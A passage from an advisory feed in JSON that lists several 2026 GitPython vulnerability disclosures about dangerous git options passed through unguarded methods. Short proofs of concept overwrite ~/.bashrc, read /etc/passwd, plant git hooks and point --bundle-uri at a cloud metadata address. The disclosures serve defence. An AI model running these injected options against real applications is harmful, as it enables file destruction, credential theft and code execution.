kwarg plants a hook that executes on the next git operation → arbitrary code execution. `--template` is already recognized as unsafe for clone (it is on `unsafe_git_clone_options`, and GHSA-6p8h-3wgx-97gf covers the clone path), but `Repo.init` is a distinct method that never received a guard and needs an independent fix.\n\n## Root Cause\n`Repo.init(path, mkdir, odbt, expand_vars, **kwargs)` is a bare `git.init(**kwargs)` (git/repo/base.py:1435) with no `check_unsafe_options` and no `allow_unsafe_options`.\n\n## Impact\nArbitrary code execution (hook fires on next git op) at the privileges of the host process. Two preconditions raise attack complexity (AC:H): the app must forward a `template=` kwarg (KEY control) AND the attacker must stage an executable hook directory at a known path — the same profile GHSA-6p8h-3wgx-97gf accepted as HIGH for the clone path. Default `allow_unsafe_options` is irrelevant here because `Repo.init` has no guard at all.\n\n## Proof of Concept\n```python\n# attacker stages /evil/hooks/post-commit (executable)\nfrom git import Repo\nRepo.init(path, template=\"/evil\")\n# next commit runs /evil/hooks/post-commit -\u003e ACE\n```\n\n## Attack Chain\n1. Entry: attacker stages `/evil/hooks/post-commit` (executable) and gets the app to call `Repo.init(path, template='/evil')`.\n2. Check: NONE on `Repo.init`. Bypass proof: base.py:1435 is a bare `git.init(**kwargs)`. argv (observed): `['git','init','--template=/evil']`.\n3. Sink: git copies `/evil/hooks/post-commit` → `\u003crepo\u003e/.git/hooks/post-commit`.\n4. Impact: next commit runs the hook → arbitrary code execution.\n\n## Bypass Evidence\nIndependently reproduced (gate harness): `Repo.init(dst, template='\u003cevil\u003e')` → argv `['git','init','--template=\u003cevil\u003e']` unguarded; hook copied into `.git/hooks/post-commit`; after `git commit` the `INIT_ACE` marker was created. `--separate-git-dir=\u003cpath\u003e` is a parallel arbitrary-redirect vector through the same unguarded sink (value control only).\n\n## Affected Versions\n`GitPython \u003c= 3.1.57` (unguarded `git.init(**kwargs)` present verbatim on the latest release tag).\n\n## Suggested Fix\nAdd a `check_unsafe_options` guard (with an `allow_unsafe_options` parameter) to `Repo.init`, consulting a denylist that includes `--template` and `--separate-git-dir` (path-taking / hook-installing options).\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-07T15:36:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-9rj7-rf2p-w77r","https://github.com/gitpython-developers/GitPython/pull/2204","https://github.com/gitpython-developers/GitPython/commit/d9ddb55bdc66","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58","https://nvd.nist.gov/vuln/detail/CVE-2026-76218","https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-repo-init","https://github.com/advisories/GHSA-9rj7-rf2p-w77r"],"source_kind":"github","identifiers":["GHSA-9rj7-rf2p-w77r","CVE-2026-76218"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-07T16:00:07.808Z","updated_at":"2026-10-02T15:01:23.528Z","epss_percentage":0.00825,"epss_percentile":0.55542,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05cmo3LXJmMnAtdzc3cs4ABhvb","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05cmo3LXJmMnAtdzc3cs4ABhvb","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.58","vulnerable_version_range":"\u003c= 3.1.57"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05cmo3LXJmMnAtdzc3cs4ABhvb/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00Z213LWdnMm0tdzQ2cM4ABhva","url":"https://github.com/advisories/GHSA-4gmw-gg2m-w46p","title":"GitPython: Unguarded git read-tree option forwarding in IndexFile.from_tree/reset/merge_tree enables arbitrary file overwrite","description":"## Summary\n`IndexFile.from_tree`, `IndexFile.reset` (→ from_tree) and `IndexFile.merge_tree` append caller-influenced treeish strings positionally to `git read-tree` with no unsafe-option guard, no `allow_unsafe_options` parameter, and no `--` separator. `git read-tree --index-output=\u003cfile\u003e` writes the resulting index to an arbitrary path, and last-occurrence-wins lets an injected `--index-output` override the method's internal temp path — clobbering an arbitrary file with a valid git-index blob. This is a distinct, never-guarded sink: commit `3af0c251` (GHSA-3f7w-8rr8-f37f) guarded only `checkout_index` and `tag`; `read_tree` was left unprotected (it is among the acknowledged unguarded call sites in that advisory's sweep but was never reported or fixed).\n\n## Root Cause\n`from_tree` (index/base.py:388), `reset` (delegates to from_tree), and `merge_tree` (index/base.py:291) call `repo.git.read_tree(*arg_list)` with no `check_unsafe_options` and no `--`. The treeish is caller-influenced and positional.\n\n## Impact\nArbitrary file overwrite / destruction at the privileges of the host process. Content is constrained to a git-index blob (not attacker-chosen, so not RCE), but the target path is fully attacker-controlled — corrupting/truncating configs or destroying files at attacker-chosen writable locations = I:H + A:H (per the skill's \"overwrite-any-path = I:H\" rule). Pure VALUE control (positional treeish). Default configuration.\n\n## Proof of Concept\n```python\nIndexFile.from_tree(repo, \"--index-output=/home/victim/.bashrc\")\n# target overwritten with a valid git-index blob (DIRC...)\n```\n\n## Attack Chain\n1. Entry: app calls `IndexFile.from_tree(repo, treeish)` / `reset(commit=…)` / `merge_tree(base=…, rhs=…)` with attacker `treeish=\"--index-output=/home/victim/.bashrc\"`.\n2. Check: NONE — the methods have no `allow_unsafe_options` and never call `check_unsafe_options`.\n3. Sink: `repo.git.read_tree(*arg_list)` — no `--`. argv (from_tree, observed): `['git','read-tree','--index-output=\u003ctmp\u003e','--index-output=/…/victim']` (last-wins).\n4. Impact: target path created/overwritten with a valid git-index blob; existing content destroyed.\n\n## Bypass Evidence\nIndependently reproduced (gate harness): `IndexFile.from_tree(repo,'--index-output=\u003cvictim\u003e')` → victim overwritten; before=`IMPORTANT ORIGINAL CONTENT`, after starts `DIRC\\x00\\x00\\x00\\x02…` (destructive clobber, valid index blob). `reset(commit=…)` and both `merge_tree` positionals verified. Fix-commit read: `3af0c251` touched only `checkout_index`+`tag`; `read_tree` untouched on HEAD.\n\n## Affected Versions\n`GitPython \u003c= 3.1.57` (sinks present verbatim on the latest release tag).\n\n## Suggested Fix\nAdd a `check_unsafe_options` guard (with an `allow_unsafe_options` parameter) to `from_tree`/`reset`/`merge_tree`, and/or place a `--` separator before the positional treeish arguments; block `--index-output` (a path-taking option) on this sink.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-07T15:33:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-4gmw-gg2m-w46p","https://github.com/gitpython-developers/GitPython/pull/2204","https://github.com/gitpython-developers/GitPython/commit/9b5dcaf85da5946dbf69dcd53f9edba08f760b32","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58","https://nvd.nist.gov/vuln/detail/CVE-2026-76219","https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-via-read-tree","https://github.com/advisories/GHSA-4gmw-gg2m-w46p"],"source_kind":"github","identifiers":["GHSA-4gmw-gg2m-w46p","CVE-2026-76219"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-07T16:00:07.808Z","updated_at":"2026-10-02T15:01:23.529Z","epss_percentage":0.00543,"epss_percentile":0.43555,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00Z213LWdnMm0tdzQ2cM4ABhva","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00Z213LWdnMm0tdzQ2cM4ABhva","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.58","vulnerable_version_range":"\u003c= 3.1.57"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00Z213LWdnMm0tdzQ2cM4ABhva/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wNTM4LWM0MzQtOHYyNM4ABhHL","url":"https://github.com/advisories/GHSA-p538-c434-8v24","title":"GitPython: Arbitrary file truncation via git rev-list --output argument injection in unguarded Commit.count","description":"## Summary\n`Commit.count()` forwards `**kwargs` into `rev_list` with **no** `check_unsafe_options` guard (the guard exists only in the sibling `iter_items`, commit.py:341). `git rev-list --output=\u003cpath\u003e` opens and truncates the target file to 0 bytes before revision parsing, so `count(output='/victim')` destroys/blanks an arbitrary file.\n\n## Root Cause\n`commit.py:290-291` calls `self.repo.git.rev_list(self.hexsha, **kwargs)` with no `check_unsafe_options` and no `allow_unsafe_options` parameter. The sibling `iter_items` (commit.py:341) is guarded; `count` is not. This is a distinct, uncovered sink — GHSA-956x-8gvw-wg5v fixed `iter_commits`/`blame`, not `count`.\n\n## Impact\nDestroy/blank an arbitrary file at process privilege (integrity/availability). Reachability is key-control only (`count` uses `self.hexsha`, not a user ref), and the write is a 0-byte truncation (no content control), so MEDIUM.\n\n## Proof of Concept\n```python\ncommit.count(output='/path/to/victim')   # victim truncated to 0 bytes (verified)\n# control: commit.iter_commits(output=...) raises UnsafeOptionError\n```\n\n## Attack Chain\n1. Entry: app forwards user options -\u003e `commit.count(output='/victim')`. Guard: none. Bypass proof: `iter_commits(output=)` raises UnsafeOptionError; `count(output=)` does not — verified side-by-side.\n2. Sink: `git rev-list \u003csha\u003e --output=/victim` -\u003e file truncated to 0 bytes. Impact: destroy/blank arbitrary file.\n\n## Bypass Evidence\nLive-verified on HEAD (tag 3.1.53): `count(output=\u003cvictim\u003e)` truncated a pre-existing file to 0 bytes; guarded `iter_commits(output=)` raised UnsafeOptionError. Same CNA-accepted \"app forwards user options dict\" model as GHSA-956x-8gvw-wg5v's `archive(**kwargs)`. Uncovered sink, not a duplicate.\n\n## Affected Versions\n`\u003c= 3.1.53`\n\n## Suggested Fix\nAdd `check_unsafe_options` to `Commit.count` (mirroring `iter_items`).\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-03T20:23:17.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-p538-c434-8v24","https://github.com/gitpython-developers/GitPython/pull/2184","https://github.com/gitpython-developers/GitPython/commit/38553b6fddc7f6a667cdb45a6762343a08fc72b2","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.56","https://github.com/advisories/GHSA-p538-c434-8v24"],"source_kind":"github","identifiers":["GHSA-p538-c434-8v24"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-03T21:00:09.028Z","updated_at":"2026-10-02T15:01:28.778Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNTM4LWM0MzQtOHYyNM4ABhHL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wNTM4LWM0MzQtOHYyNM4ABhHL","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.56","vulnerable_version_range":"\u003c= 3.1.55"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNTM4LWM0MzQtOHYyNM4ABhHL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01MzltLTl4aDYtcTZycs4ABhHJ","url":"https://github.com/advisories/GHSA-539m-9xh6-q6rr","title":"GitPython: Incomplete unsafe_git_archive_options denylist omits --add-file / --add-virtual-file, enabling arbitrary file read via Repo.archive()","description":"**Target:** gitpython-developers/GitPython\n**Tested:** HEAD `07e80555` (2026-07-25), latest release 3.1.55, `git version 2.50.1`\n\n## Summary\n\n`Repo.archive()` does call the option guard, so this is not a missing-guard report. The guard is present and working; the **denylist it consults is incomplete**.\n\n```python\n# git/repo/base.py:169\nunsafe_git_archive_options = [\n    # Allows arbitrary command execution through the remote git-upload-archive command.\n    \"--exec\",\n    # Writes output to a caller-controlled filesystem path.\n    \"--output\",\n    \"-o\",\n]\n```\n\nThe comment on `--output` states the protected class in the project's own words: an option that lets the caller name **a filesystem path** is unsafe. `--output` is blocked because it *writes* to a caller-chosen path.\n\n`git archive` also accepts `--add-file=\u003cpath\u003e` and `--add-virtual-file=\u003cpath:content\u003e` (both present in current git; verified against `git version 2.50.1`). `--add-file` *reads* a caller-chosen path — including an absolute path outside the repository — and places the bytes into the archive the caller receives. Neither option is in the list, and no other layer references them:\n\n```\n$ grep -rniE \"add.file|add_file\" git/\ngit/index/base.py:771:   R\"\"\"Add files from the working tree, ...      # unrelated docstring\n```\n\nNet effect: the guard blocks arbitrary file **write** at this sink while permitting arbitrary file **read** at the same sink.\n\n## Reachability proof (verified at the sink)\n\n`poc/poc_addfile.py` at HEAD `07e80555`. The PoC creates its own out-of-tree canary, so it runs from a clean machine:\n\n```\n-- CONTROL: options the denylist covers (expect BLOCKED) --\n  [BLOCKED] output='/tmp/gp_written.tar': --output is not allowed, use `allow_unsafe_options=True` to allow it.\n  [BLOCKED] o='/tmp/gp_written.tar': -o is not allowed, use `allow_unsafe_options=True` to allow it.\n  [BLOCKED] exec='touch /tmp/gp_exec': --exec is not allowed, use `allow_unsafe_options=True` to allow it.\n\n-- SIBLING OMITTED FROM THE DENYLIST: --add-file (expect ALLOWED) --\n  [ALLOWED] add_file='/tmp/gp_canary.txt'  -\u003e archive 10240 bytes\n  archive members: ['f.txt', 'gp_canary.txt']\n  \u003e\u003e\u003e EXFILTRATED gp_canary.txt: 'secret-canary-12345'\n  \u003e\u003e\u003e byte-for-byte match with the out-of-tree file: CONFIRMED\n\n-- also: --add-virtual-file (attacker-chosen name AND content) --\n  [ALLOWED] add_virtual_file='pwn.txt:hello'  -\u003e archive 10240 bytes\n```\n\nThe three blocked lines are the control: they prove the guard is active on this call path, so the fourth result is a gap in list membership rather than a guard that never ran.\n\nMinimal reproduction:\n\n```python\nimport io, tarfile\nfrom git import Repo\n\nbuf = io.BytesIO()\nRepo(\"/path/to/repo\").archive(buf, format=\"tar\", add_file=\"/etc/passwd\")\nprint(tarfile.open(fileobj=io.BytesIO(buf.getvalue())).getnames())\n# ['\u003crepo files\u003e', 'passwd']   \u003c- contents readable by whoever receives the archive\n```\n\nThe canary is untracked and lives outside the repository; its contents are recovered from the returned archive and asserted byte-for-byte against the on-disk file. The option is rendered by `transform_kwargs` into `--add-file=\u003cpath\u003e` and reaches `git archive` unmodified.\n\n## Direct precedent\n\n`GHSA-6p8h-3wgx-97gf` (High, published 2026-07-22) is the same defect on the sibling list: *\"Incomplete `unsafe_git_clone_options` denylist omits `--template`\"* — an option absent from one of these denylists, reachable under the same caller-controlled-options precondition, accepted and fixed by adding it. `git log` shows the archive list itself has already been extended reactively once, in `701ce32f` (*fix: Guard unsafe git command options*, GHSA-956x-8gvw-wg5v), and the `--template` omission was then fixed separately in `ffcb5359`.\n\n## `--add-virtual-file` is the same gap pointing the other way\n\n`--add-virtual-file=\u003cpath:content\u003e` lets the caller inject **attacker-chosen content under an attacker-chosen name** into an archive that downstream consumers will reasonably treat as repository-derived. \n\n## Suggested remediation\n\n1. **Preferred — allowlist.** `Repo.archive()` has a small legitimate option surface (`format`, `prefix`, `worktree_attributes`, `remote`, compression level, plus paths). Accepting those and rejecting the rest means a future git release cannot add another path-taking option that silently reopens this.\n2. **Minimum — extend the list** with `--add-file` and `--add-virtual-file`, and make the membership rule *\"the option takes a filesystem path or URL\"* rather than *\"the option executes a command\"*. The existing comment on `--output` already implies that rule; applying it consistently is what closes the class instead of this instance.\n\n## Scope limits\n\n- Impact is **arbitrary file read at the privileges of the process**. Not code execution — I make no such claim here.\n- It requires the embedding application to forward caller-influenced kwargs into `Repo.archive()`. That is the identical precondition to `--output`, `--exec` and `--template`, all of which this project has treated as reportable.\n\n## Disclosure\n\nReported privately via GitHub private vulnerability reporting. Happy to test a candidate patch against the PoC. No public disclosure until you have shipped a fix and are ready.\n---\n\n## Addendum (2026-07-25) — related observation on the same membership question, filed here rather than separately\n\nWhile auditing the archive denylist, the same class of gap was identified in unsafe_git_clone_options. A second advisory is not being requested, as the issue is lower severity and should inform the fix for the issue above rather than require separate triage. Recording it here to provide the complete picture in one place.\n\n`Repo._clone()` treats a URL's protocol as a security boundary and applies `check_unsafe_protocols()` to exactly one input:\n\n```python\nclone_url = Git.polish_url(url, expand_vars=False)\nif not allow_unsafe_protocols:\n    Git.check_unsafe_protocols(clone_url)      # the positional url only\n```\n\n`git clone` accepts a **second** URL via `--bundle-uri=\u003curi\u003e`, which git dereferences before the main transport runs. That option is absent from `unsafe_git_clone_options`, so the option guard passes it, and `check_unsafe_protocols()` never inspects it. A caller-influenced value therefore drives an outbound request from the host:\n\n```python\nRepo.clone_from(trusted_url, dest,\n                multi_options=[\"--bundle-uri=http://169.254.169.254/latest/meta-data/\"])\n# no UnsafeProtocolError, no UnsafeOptionError\n```\n\nConfirmed against a local listener — the request leaves the process:\n\n```\n127.0.0.1 - - [24/Jul/2026 23:07:41] \"GET /internal-metadata HTTP/1.1\" 404 -\n```\n\n`file:///path` is likewise accepted without error. Note this is **not** a tokenisation bypass: `multi_options` is `shlex.split` before the check (per `c9a26789` / GHSA-x2qx-6953-8485), so the fully-split `--bundle-uri=...` token is checked and legitimately passes because the option is not on the list.\n\nWhy it belongs with this report: both are the *membership* question rather than the matching logic — is the set of blocked options complete, and does the protocol guard inspect every URL git will dereference? The structural remediation proposed above covers both if extended slightly: prefer an allowlist per command, and route **every** URL-bearing option through `check_unsafe_protocols()`, not only the positional URL. Adding `--bundle-uri` to `unsafe_git_clone_options` would be the minimal fix.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-03T20:14:28.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-539m-9xh6-q6rr","https://github.com/gitpython-developers/GitPython/pull/2193","https://github.com/gitpython-developers/GitPython/commit/7a4f5dcb7bf3cbcbf6e438017efcdfe0bc0d36ca","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.57","https://github.com/advisories/GHSA-539m-9xh6-q6rr"],"source_kind":"github","identifiers":["GHSA-539m-9xh6-q6rr"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-03T21:00:09.028Z","updated_at":"2026-10-02T15:01:28.778Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01MzltLTl4aDYtcTZycs4ABhHJ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01MzltLTl4aDYtcTZycs4ABhHJ","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.57","vulnerable_version_range":"\u003c= 3.1.56"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01MzltLTl4aDYtcTZycs4ABhHJ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zZjd3LThycjgtZjM3Zs4ABhHI","url":"https://github.com/advisories/GHSA-3f7w-8rr8-f37f","title":"GitPython: Unguarded git option forwarding in IndexFile.checkout() and TagReference.create() enables arbitrary file overwrite and arbitrary file read","description":"**Target:** gitpython-developers/GitPython\n**Tested:** HEAD `07e80555` (2026-07-25), latest release 3.1.55, `git version 2.50.1`\n**Reported instances:** 2 exploitable, from a sweep of 14 unguarded call sites\n\n## Summary\n\nGitPython blocks dangerous git options through `Git.check_unsafe_options()`, gated per method by an `allow_unsafe_options` parameter. That guard is applied **per call site**, so any API that forwards `**kwargs` into a git command without calling it passes caller-controlled options straight to git.\n\nA mechanical sweep of every method that forwards `**kwargs` into a `.git.\u003ccommand\u003e(...)` call found **14 sites with no guard**. Two reach a git option that takes a filesystem path:\n\n| # | Call site | git option | Impact |\n|---|---|---|---|\n| 1 | `IndexFile.checkout()` → `git checkout-index` | `--prefix=\u003cpath\u003e` | arbitrary file **overwrite** with repository-controlled content |\n| 2 | `TagReference.create()` → `git tag` | `-F \u003cfile\u003e` / `--file=\u003cfile\u003e` | arbitrary file **read**, returned in-band |\n\nThis is the same defect class already fixed in `Commit.count()` (GHSA-p538-c434-8v24), `Repo.archive()` and `Git.ls_remote()` (GHSA-956x-8gvw-wg5v). Both instances below are still present at HEAD.\n\n---\n\n## Instance 1 — `IndexFile.checkout()`: arbitrary file overwrite\n\n`git/index/base.py:1210` accepts `**kwargs` and forwards them with no guard:\n\n```python\ndef checkout(self, paths=None, force=False, fprogress=lambda *args: None, **kwargs):\n    ...\n    proc = self.repo.git.checkout_index(*args, **kwargs)   # line 1331\n    ...\n    proc = self.repo.git.checkout_index(args, **kwargs)    # line 1349\n```\n\nThere is no `allow_unsafe_options` parameter and no `check_unsafe_options()` call in the method.\n\n`git checkout-index` accepts `--prefix=\u003cstring\u003e`, prepended to every output path. It is not confined to the working tree, so an absolute prefix writes tracked file contents anywhere the process can write, and `-f` overwrites what is already there.\n\n### Reproduction\n\n```python\nfrom git import Repo\nRepo(\"/path/to/repo\").index.checkout(prefix=\"/tmp/target_dir/\", a=True, f=True)\n```\n\nObserved (`poc/poc_checkout_index.py`) — no exception raised, files land outside the repository:\n\n```\n[ALLOWED] no UnsafeOptionError raised\nfiles written outside the repo: ['f.txt']\n  f.txt: 'hi\\n'\n```\n\nOverwrite of a pre-existing file (`poc/poc_ci_overwrite.py`) — the victim file held `ORIGINAL-DO-NOT-CLOBBER\\n` before the call:\n\n```\n[ALLOWED] no exception\nvictim content now: 'hi\\n'\nOVERWRITTEN: True\n```\n\n### Why this rates High\n\nBoth halves of the write are attacker-influenced:\n\n- **Destination** — the `prefix` kwarg.\n- **Content** — the bytes written are repository blobs, so anyone who can land a file in the repository (a pull-request branch, a mirrored or untrusted repository, an agent-cloned repository) controls exactly what is written.\n\nCommit a file named `authorized_keys`, `.bashrc`, `config` or `post-checkout`, choose the matching prefix (`~/.ssh/`, `~/`, `.git/hooks/`), and the write becomes code execution as the service account.\n\nFor comparison within this project: GHSA-fjr4-x663-mwxc (arbitrary file overwrite via `git diff --output`) is rated High, and GHSA-p538-c434-8v24 (arbitrary file *truncation* via `git rev-list --output`) is rated Medium. `--prefix` supplies full content control, so it sits at or above the former.\n\n---\n\n## Instance 2 — `TagReference.create()`: arbitrary file read\n\n`git/refs/tag.py:88` forwards `**kwargs` into `git tag` with no guard, and the signature advertises the passthrough:\n\n```python\ndef create(cls, repo, path, reference=\"HEAD\", logmsg=None, force=False, **kwargs):\n    \"\"\"...\n    :param kwargs:\n        Additional keyword arguments to be passed to :manpage:`git-tag(1)`.\n    \"\"\"\n```\n\n`git tag` accepts `-F \u003cfile\u003e` / `--file=\u003cfile\u003e`, which reads the tag message from an arbitrary path. The annotated tag object stores that content and GitPython returns it to the caller via `TagReference.tag.message`, so the file contents come back in-band.\n\n### Reproduction\n\n```python\nfrom git import Repo\nfrom git.refs.tag import TagReference\n\nt = TagReference.create(Repo(\"/path/to/repo\"), \"x\", force=True, a=True, F=\"/etc/passwd\")\nprint(t.tag.message)\n```\n\nObserved (`poc/poc_tag_F.py`), reading a canary file outside the repository:\n\n```\n[ALLOWED] no UnsafeOptionError raised\n\u003e\u003e\u003e tag message recovered from arbitrary path: 'TAG-READ-CANARY-98765\\nsecond-line-secret'\n```\n\nImpact is a read at the privileges of the process. I am not claiming code execution for this instance. The signing options (`-s`, `-u`/`--local-user`) do invoke gpg from the same unguarded kwargs, but I did not develop that into command execution and make no claim about it.\n\n---\n\n## Sweep results — the other 12 sites\n\nReported so the fix can be scoped once rather than per report. `poc/sweep.py` reproduces this list.\n\n| Call site | git command | Assessment |\n|---|---|---|\n| `IndexFile.from_tree()` | `read-tree` | `--index-output=\u003cpath\u003e` looked reachable but is **neutralised**: GitPython appends its own `--index-output` after the caller's kwargs and git honours the last occurrence. Verified — victim file unchanged (`poc/poc_readtree.py`) |\n| `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found |\n| `IndexFile.move()` | `mv` | same |\n| `HEAD.reset()` | `reset` | same |\n| `HEAD.checkout()` | `checkout` | same |\n| `Head.delete()`, `RemoteReference.delete()` | `branch` | no path-taking option found |\n| `Repo.merge_base()` | `merge-base` | no path-taking option found |\n| `Repo._get_untracked_files()` | `status` | no path-taking option found |\n| `Remote.set_url()`, `Remote.create()`, `Remote.update()` | `remote` | URL handling already addressed by GHSA-94p4-4cq8-9g67 |\n\n## Suggested remediation\n\n**Immediate:** add `allow_unsafe_options: bool = False` to both methods and gate `Git._option_candidates(args, kwargs)` against new lists — `unsafe_git_checkout_index_options = [\"--prefix\"]` (consider `--temp`) and `unsafe_git_tag_options = [\"--file\", \"-F\"]` (consider `-s`, `-u`/`--local-user`, `--cleanup`) — matching the pattern used in `Repo.archive()` and `Commit.count()`.\n\n**Structural:** this defect has now been fixed four times in four places (`Repo.archive()`, `Git.ls_remote()`, `Commit.count()`, and the two here), because the guard is opt-in per method: every new `**kwargs`-forwarding API starts unguarded and stays that way until someone reports it. Enforcing the check centrally in `Git._call_process()` — each git invocation consults a per-command unsafe-option table unless the caller opts out — would make new call sites safe by default rather than by review, and would close the remaining sites in the table above at the same time.\n\n## Disclosure\n\nReported privately via GitHub private vulnerability reporting.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-03T20:09:56.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3f7w-8rr8-f37f","https://github.com/gitpython-developers/GitPython/pull/2193","https://github.com/gitpython-developers/GitPython/commit/3af0c2516c5e18c829da30338614688f6b69b49c","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.57","https://github.com/advisories/GHSA-3f7w-8rr8-f37f"],"source_kind":"github","identifiers":["GHSA-3f7w-8rr8-f37f"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-03T21:00:09.028Z","updated_at":"2026-10-02T15:01:28.779Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZjd3LThycjgtZjM3Zs4ABhHI","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zZjd3LThycjgtZjM3Zs4ABhHI","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.57","vulnerable_version_range":"\u003c= 3.1.56"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZjd3LThycjgtZjM3Zs4ABhHI/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jdzJyLXI3bXctajNoY84ABhBx","url":"https://github.com/advisories/GHSA-cw2r-r7mw-j3hc","title":" Duplicate Advisory: GitPython unsafe clone option gate bypass through joined short options","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-v396-v7q4-x2qj. This link is maintained to preserve external references.\n\n## Original Description\n\nGitPython 3.1.50 fails to recognize joined short-option forms such as -u\u003cvalue\u003e (the short form of --upload-pack=\u003cvalue\u003e) when enforcing its default unsafe-option gate. When an application passes attacker-influenced clone options into Repo.clone_from(..., multi_options=..., allow_unsafe_options=False), an attacker can supply -u\u003chelper\u003e to bypass the gate that blocks --upload-pack/-u, causing Git to execute the specified helper command during clone. Fixed in 3.1.51.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-08-01T15:30:28.000Z","withdrawn_at":"2026-09-08T15:08:25.000Z","classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v396-v7q4-x2qj","https://nvd.nist.gov/vuln/detail/CVE-2026-67324","https://www.vulncheck.com/advisories/gitpython-authentication-bypass-via-joined-short-options","https://github.com/advisories/GHSA-cw2r-r7mw-j3hc"],"source_kind":"github","identifiers":["GHSA-cw2r-r7mw-j3hc"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T16:00:08.931Z","updated_at":"2026-10-02T15:00:44.808Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jdzJyLXI3bXctajNoY84ABhBx","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jdzJyLXI3bXctajNoY84ABhBx","packages":[{"ecosystem":"pypi","package_name":"gitpython","versions":[{"first_patched_version":null,"vulnerable_version_range":"= 